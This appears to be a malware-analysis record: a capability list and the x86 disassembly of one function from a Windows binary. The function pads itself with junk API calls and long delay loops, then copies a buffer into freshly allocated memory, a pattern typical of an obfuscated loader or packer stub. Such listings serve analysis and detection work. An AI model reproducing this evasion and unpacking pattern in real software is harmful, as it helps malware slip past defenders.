Function at 0x41c310
Capabilities:
Connect pipe
Get disk information
Get geographical location
Manipulate console buffer
Move file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1864
call fcn.004070e0
mov eax, dword [0x41f008]
xor eax, esp
mov dword [esp + 0x1860], eax
mov edx, dword [0x4200a0]
mov ecx, dword [0x80651c]
push ebx
push esi
push edi
xor ebx, ebx
xor eax, eax
mov edi, 0xec58ae96
or esi, 0xffffffff
lea esp, [esp]
cmp eax, 0x4db
jne 0x41c35d
lea ecx, [edx + 0x9e49]
cmp ecx, 0xbcf
jne 0x41c371
mov dword [0x420b90], edi
mov dword [0x420b94], esi
inc eax
cmp eax, 0x1180b56
jl 0x41c350
mov edi, dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
mov dword [0x80651c], ecx
xor esi, esi
cmp esi, 0x55b763
jne 0x41c399
mov eax, dword [0x41fc48]
mov dword [0x80664c], eax
cmp ecx, 0x3c
jne 0x41c3a8
push ebx
push ebx
call edi
mov ecx, dword [0x80651c]
inc esi
cmp esi, 0x4cd9711a
jl 0x41c387
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
lea esp, [esp]
call edi
cmp esi, 0x16ea61
jg 0x41c3d3
inc esi
cmp esi, 0x9438ed
jl 0x41c3c0
mov eax, dword [0x80651c]
cmp eax, 0x2a
jne 0x41c490
lea ecx, [esp + 0x10]
push ecx
push ebx
push ebx
push ebx
push ebx
mov dword [0x806510], ebx
mov dword [0x806514], ebx
call dword [sym.imp.KERNEL32.dll_GetStringTypeExA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
xor eax, eax
push ebx
mov dword [esp + 0x26], eax
mov dword [esp + 0x2a], eax
mov dword [esp + 0x2e], eax
mov word [esp + 0x32], ax
lea eax, [esp + 0x46c]
push eax
push str.wukevuvitevasegexolij
lea ecx, [esp + 0x2c]
push ecx
push ebx
xor edx, edx
push ebx
mov word [esp + 0x38], dx
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetThreadAffinityMask]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
push ebx
lea edx, [esp + 0x6c]
push edx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push ebx
push ebx
call fcn.0040109d
push ebx
push ebx
call fcn.0040120c
push ebx
call fcn.0040112c
push ebx
call fcn.0040100f
push ebx
push ebx
call fcn.0040109d
add esp, 0x20
push ebx
call fcn.004016c7
cmp eax, 0x7c
jne 0x41c58d
push ebx
push ebx
lea eax, [esp + 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push ebx
lea ecx, [esp + 0x86c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
push ebx
lea edx, [esp + 0x1c]
push edx
push ebx
lea eax, [esp + 0x74]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push 0x2e
lea ecx, [esp + 0x3c]
push ebx
push ecx
mov dword [esp + 0x40], ebx
call fcn.00404e80
add esp, 0xc
push ebx
lea edx, [esp + 0x38]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push ebx
push ebx
lea eax, [esp + 0x1070]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push ebx
lea ecx, [esp + 0x20]
push ecx
mov dword [esp + 0x24], ebx
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
xor eax, eax
xor edx, edx
mov word [esp + 0xe], ax
xor ecx, ecx
mov word [esp + 0x12], dx
lea eax, [esp + 0x20]
push eax
mov word [esp + 0x14], cx
mov ecx, dword [esp + 0x14]
push ecx
mov word [esp + 0x14], dx
mov edx, dword [esp + 0x14]
push edx
lea eax, [esp + 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputA]
push ebx
lea ecx, [esp + 0x46c]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp dword [0x80651c], 0x2d
jne 0x41c57f
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push ebx
call fcn.004011f6
mov eax, dword [0x80651c]
add esp, 4
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edx, dword [0x80651c]
mov esi, eax
xor ecx, ecx
mov dword [0x806364], esi
cmp edx, ebx
jbe 0x41c5de
mov edi, dword [0x80664c]
mov eax, 0x17bc
jmp 0x41c5c0
mov bl, byte [edi + ecx + 0x9e49]
mov byte [esi + ecx], bl
cmp edx, 0x8d
jne 0x41c5d7
mov dword [0x806368], eax
inc ecx
cmp ecx, edx
jb 0x41c5c0
xor ebx, ebx
call fcn.0041bff0
call fcn.0041beb0
call fcn.0041c280
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov ebx, dword [sym.imp.KERNEL32.dll_GetSystemTime]
xor esi, esi
jmp 0x41c600
cmp dword [0x80651c], 0x41
jne 0x41c616
lea edx, [esp + 0x14]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_QueryMemoryResourceNotification]
cmp esi, 0xd589b
jne 0x41c623
call fcn.0041bea0
cmp dword [0x80651c], 0xc
jne 0x41c637
lea eax, [esp + 0x18]
push eax
call edi
push 0
call ebx
inc esi
cmp esi, 0x24d8dd
jl 0x41c600
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
mov ebx, 0x1dfe99
mov edi, 0x8e4e0198
cmp dword [0x80651c], 0x7c4
mov dword [0x80636c], edi
jne 0x41c67f
xor edx, edx
xor ecx, ecx
lea eax, [esp + 0x14]
push eax
mov word [esp + 0x10], cx
mov word [esp + 0x12], dx
mov ecx, dword [esp + 0x10]
push ecx
push edx
push edx
push edx
call esi
sub ebx, 1
jne 0x41c650
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoA]
mov ebx, dword [sym.imp.USER32.dll_GetClassLongW]
xor esi, esi
lea edx, [esp + 0x34]
push edx
push 0
call edi
push 0
push 0
call ebx
cmp esi, 0x408e
jle 0x41c6b3
cmp dword [esp + 0x3c], 0xf5bed7
jne 0x41c6bc
inc esi
cmp esi, 0x687ed2
jl 0x41c692
mov ecx, dword [esp + 0x186c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401000
mov esp, ebp
pop ebp
ret